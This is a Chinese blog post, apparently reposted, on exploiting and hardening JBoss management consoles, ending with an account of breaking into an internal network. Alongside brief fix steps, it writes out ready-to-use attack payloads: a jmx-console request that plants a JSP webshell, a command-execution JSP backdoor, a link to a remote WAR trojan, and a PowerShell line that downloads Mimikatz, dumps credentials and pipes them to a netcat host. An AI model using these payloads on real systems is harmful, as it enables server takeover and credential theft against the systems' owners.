内容简介:一次简单的漫游内网附带对jboss安全性的讨论
讲这个之前,先在本地搭建一个jboss环境,自从上次被吊打之后,觉得做安全的多少要会点防御,以前把太多精力放在攻击上面了。这就当做一个学习笔记,三件套,攻击过程,修复过程,自动化脚本。 ## 漏洞复现 jmx-console 先安装 docker 镜像,docker pull tutum/jboss:as5
然后 docker run -d -p 8080:8080 -p 9990:9990 -e JBOSS_PASS="mypass" tutum/jboss
管理器的地址是 http://127.0.0.1:9990/manager/html 或者不设置密码 docker run -d -p 8080:8080 -p 9990:9990 tutum/jboss
这里选择as4版本,这个是老版本的jboss
然后找到addurl,填上war木马地址,进行远程部署 然后点击change
然后才到连接 http://192.168.190.145:8080/is/index.jsp 有些实际场景无法部署成功,可能做了限制吧 但是实际的路径确实在tmp路径下面 /jboss-4.2.3.GA/server/default/./tmp/deploy/tmp5962862023186656288is-exp.war/
## 漏洞修复 jxm-console ###1 加上密码验证 给jmx-console加上访问密码
常见路径 /jboss-4.2.3.GA/server/default/deploy/jmx-console.war/
1.在/server/default/deploy/jmx-console.war/WEB-INF/jboss- web.xml去掉
</security-constraint>
表示角色 3.在JBoss安装目录/server/default/config/login-config.xml 查找代码jmx-console 其中大致为
打开jmx-console-users.properties 内容为
admin=admin #用户名:密码 jmx-console-roles.properties为角色分配
admin=JBossAdmin, HttpInvoker #用户名=角色,多个角色以“,”隔开 ``` 修复完成
关键路径 修改注视的地方 server/default/deploy/jmx-console.war/WEB-INF/jboss- web.xml server/default/deploy/jmx-console.war/WEB-INF/web.xml 用户密码位置 server/default/conf/props/jmx-console-users.properties jxm-console用户名密码
极端方法 删除 查找web-consel路径 find / -iname ServerInfo.jsp jboss-4.2.3.GA/server/all/deploy/jmx-console.war /jboss-4.2.3.GA/server/all/deploy/management/console-mgr.sar/web-console.war jboss-4.2.3.GA/server/default/deploy/jmx-console.war /jboss-4.2.3.GA/server/default/deploy/management/console-mgr.sar/web-console.war
漏洞复现 web-console
参考文献 各大容器拿shell 在有些高版本的jboss里面,貌似jxm-console无法直接部署 参考 http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0157256.html http://localhost:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
带回显 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.jsp&t=%3C%25if(%22023%22.equals(request.getParameter(%22pwd%22)))%7Bjava.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();int%20a%20=%20-1;byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;out.print(%22%3Cpre%3E%22);while((a=in.read(b))!=-1)%7Bout.println(new%20String(b));%7Dout.print(%22%3C/pre%3E%22);%7D%25%3E%0A
上面的用法任意写 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.txt&t=whoami
之后在 http://192.168.31.6:8080/admin-console/secure/summary.seam?path=-33&conversationId=43&conversationPropagation=end会找到项目 物理路径为 /jboss-5.1.0.GA/server/default/deploy/management/upload5warn.war/shell.jsp
查看路径发现 所以访问 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.txt&t=whoami可以写任意内容
漏洞修复 web-console
同方法一
漏洞复现 9990/console
上面说的都是老版本的jboss,下载心版本的jboss发现,没有了上面的jxm-console,测试的版本是as7 首先你要知道帐号和密码 在登录之后 选择好一个war就可以部署了,也可以下在园长mm的 http://p2j.cn/is.war 部署的时候记得点enable,然后访问就行了
漏洞修复 web-console
同方法一,修改密码
慢慢搞内网
我这里选择的是msf来入侵内网,用这个搞内网还是很成熟的,自动化很爽。 可以看到源码
内网渗透
首先尝试msf,但是发现反弹不出来,测试ping不通任何外网主机 试了几个常见的exp最终提权成功,不过域控没有搞下来,本次渗透就此作罢。 powweshell抓明文 powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" | nc 192.168.1.1 4444
修复参考文献
http://blog.knowsky.com/193845.htm jsp后门 附带几个jsp木马
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
突然想到这些不同版本之间的拿 shell 方法不同,可以写一个完整的小项目来完成这个需求。
以上所述就是小编给大家介绍的《一次简单的漫游内网附带对jboss安全性的讨论》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Vim 漫游键,为什么不设定左手?介绍一种 5x 倍速漫游方式
- 微服务漫游指南(一)
- 计算机系统漫游
- 家庭网络漫游指南
- MySQL redo log 漫游
- SSRF 漏洞配合 Flask 的巧妙利用:内网漫游
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JavaScript核心技术
Shelley Powers / 苏敬凯 / 机械工业出版社 / 2007-6 / 45.00
Ajax是当今Web开发领域最流行的词汇。而JavaScript与CSS、XML和DOM几种老技术,加上XMLHttpRequest就构成了Ajax的四大基石。对于JavaScript,一些更资深的同事告诉我的感觉是失望。面对不同的浏览器和浏览器的不同版本,没有优秀的调试开发工具,JavaScript成了软件开发的泥潭。. 而本书的出版则给我们增加了一丝解决这些问题的信心。 它从最简单......一起来看看 《JavaScript核心技术》 这本书的介绍吧!